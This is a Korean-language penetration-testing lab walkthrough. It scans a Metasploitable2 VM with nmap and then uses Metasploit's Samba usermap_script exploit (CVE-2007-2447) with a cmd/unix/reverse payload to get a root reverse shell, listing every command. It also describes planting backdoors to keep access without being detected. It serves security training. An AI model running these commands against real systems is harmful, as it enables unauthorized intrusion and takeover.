소개
이 랩에서는 침투 테스트의 기본적인 프로세스에 대해 배우고 Kali Linux 를 사용하여 실습 공격을 수행합니다. 목표는 알려진 Samba 취약점을 악용하여 취약한 대상 시스템에 원격 셸 (remote shell) 액세스를 얻는 것입니다. 이 랩은 실제 침투 테스트 시나리오에 관련된 단계를 이해하고 Nmap 및 Metasploit 과 같은 인기 있는 보안 도구를 사용하는 연습을 할 수 있는 기회를 제공합니다.
이 랩에서는 침투 테스트의 기본적인 프로세스에 대해 배우고 Kali Linux 를 사용하여 실습 공격을 수행합니다. 목표는 알려진 Samba 취약점을 악용하여 취약한 대상 시스템에 원격 셸 (remote shell) 액세스를 얻는 것입니다. 이 랩은 실제 침투 테스트 시나리오에 관련된 단계를 이해하고 Nmap 및 Metasploit 과 같은 인기 있는 보안 도구를 사용하는 연습을 할 수 있는 기회를 제공합니다.
침투 테스트는 일반적으로 다음 단계를 포함합니다.
정보 수집 (Information Gathering): 네트워크 정보, 웹사이트 내용, 디렉토리 구조, 잠재적인 사용자 이름, 열린 포트, 서비스, 도메인 이름 및 서브도메인을 포함하여 대상 시스템에 대한 가능한 많은 정보를 수집합니다. 다양한 도구를 이 목적으로 사용할 수 있습니다.
취약점 스캔 (Vulnerability Scanning): 스캔 도구를 사용하여 대상 시스템을 포괄적으로 스캔하여 취약점을 식별합니다. 자동화된 스캔 도구를 사용할 수 있으며, 특정 서비스에 대한 타겟 스캔을 위해 수동 도구를 사용할 수도 있습니다.
익스플로잇 (Exploitation): 악용 가능한 취약점이 식별되면 적절한 도구와 기술을 사용하여 대상 시스템에서 더 높은 수준의 액세스 또는 권한을 얻습니다. 여기에는 원격 코드 실행, 인젝션 공격 또는 기타 방법이 포함될 수 있습니다.
액세스 유지 (Maintaining Access): 탐지를 피하면서 향후 액세스를 용이하게 하기 위해 대상 시스템에 백도어 또는 지속적인 액세스 메커니즘을 생성합니다.
보고 (Reporting): 발견된 취약점과 침투 테스트 프로세스 중에 수행된 단계를 자세히 설명하는 보고서를 분석하고 생성합니다. 이 보고서는 대상 조직이 시스템을 효과적으로 보호하는 데 도움이 될 수 있습니다.
요약하면, 침투 테스트에 관련된 기본 단계를 이해했으므로 이론을 실천에 옮길 때입니다. 실습을 통해 침투 테스트 분야에서 실질적인 경험을 얻기 위해 습득한 지식과 기술을 적용할 수 있습니다.
먼저, 침투 테스트 시나리오를 연습하기 위해 랩 환경을 설정해야 합니다.
랩 환경은 두 개의 시스템으로 구성됩니다.
Kali Linux 컨테이너 (공격자 머신): Kali Linux 를 실행하는 Docker 컨테이너로, 공격을 수행하는 데 사용됩니다.
Metasploitable2 가상 머신 (대상 머신): 대상 시스템 역할을 하는 취약한 Ubuntu 서버입니다.
환경을 설정하려면 다음 단계를 따르세요.
sudo virsh start Metasploitable2
대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.
ping 192.168.122.102
docker run -ti --network host b5b709a49cd5 bash
ping 192.168.122.102
이제 공격자 머신과 대상 머신이 모두 실행 중이고 액세스 가능해야 합니다. 침투 테스트 프로세스를 시작할 준비가 되었습니다.
이 단계에서는 Kali Linux 의 Nmap 도구를 사용하여 대상 시스템의 열린 포트와 서비스를 스캔합니다.
/tmp/report.txt에 저장합니다. 완료하는 데 몇 분 정도 걸릴 수 있습니다.nmap -p 1-65535 -T4 -A -v 192.168.122.102 > /tmp/report.txt
플래그의 의미는 다음과 같습니다.
-p 1-65535: 모든 포트 스캔-T4: 타이밍 템플릿 설정 (값이 높을수록 스캔 속도가 빠름)-A: OS 감지 및 버전 감지 활성화-v: 상세 수준 증가>/tmp/report.txt: 출력을 파일로 리디렉션스캔이 완료될 때까지 기다립니다 (몇 분 정도 걸릴 수 있습니다).
cat을 사용하여 /tmp/report.txt 파일을 열어 스캔 보고서를 분석합니다.
cat /tmp/report.txt
보고서에는 대상 시스템에서 실행 중인 열린 포트, 서비스 및 버전이 나열됩니다.
이 경우, Metasploitable2 시스템에서 실행 중인 버전에 알려진 원격 명령 실행 취약점 (CVE-2007-2447) 이 있는 Samba 서비스에 집중할 것입니다. Samba USERNAME MAP SCRIPT 원격 명령 실행 취약점 (CVE-2007-2447) 의 세부 정보는 다음과 같습니다.
username map script 구성 옵션을 처리하는 방식에 취약점이 존재합니다. 이 옵션이 활성화되면 Samba 는 /bin/sh 셸에 전달하기 전에 사용자 입력을 제대로 정리하지 못하여 원격 공격자가 Samba 사용자로 임의의 명령을 실행할 수 있습니다.Samba 공식 취약점 설명은 다음에서 찾을 수 있습니다: http://samba.org/samba/security/CVE-2007-2447.html
이 취약점을 악용하는 데 사용할 Metasploit 익스플로잇 모듈은 exploit/multi/samba/usermap_script입니다. 이 모듈의 소스 코드와 주석은 다음에서 찾을 수 있습니다: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/samba/usermap_script.rb
이 단계에서는 Metasploit Framework 를 사용하여 Samba USERNAME MAP SCRIPT 취약점을 악용하고 대상 시스템에 대한 원격 셸 액세스를 얻습니다.
cd ~
msfconsole
use exploit/multi/samba/usermap_script
cmd/unix/reverse로 설정합니다.set payload cmd/unix/reverse
set RHOST 192.168.122.102
set RPORT 445
set LHOST 192.168.122.1
show options
exploit
익스플로잇이 성공하면 대상 시스템에서 root 사용자로 원격 셸 세션이 있어야 합니다.
exit를 입력하여 셸을 종료하고 Kali 컨테이너로 돌아갈 수 있습니다.이 랩에서는 침투 테스트의 기본 프로세스에 대해 배우고 실제 공격 시나리오를 수행하는 실질적인 경험을 얻었습니다. 취약한 대상 시스템으로 랩 환경을 설정하고, Nmap 을 사용하여 취약점 스캔을 수행하고, 알려진 Samba 취약점을 분석하고, Metasploit Framework 를 사용하여 이를 악용하여 원격 셸 액세스를 얻었습니다. 이 실질적인 경험은 침투 테스트에 사용되는 기술과 도구, 그리고 안전한 시스템 구성 및 취약점 관리의 중요성을 더 잘 이해하는 데 도움이 될 것입니다.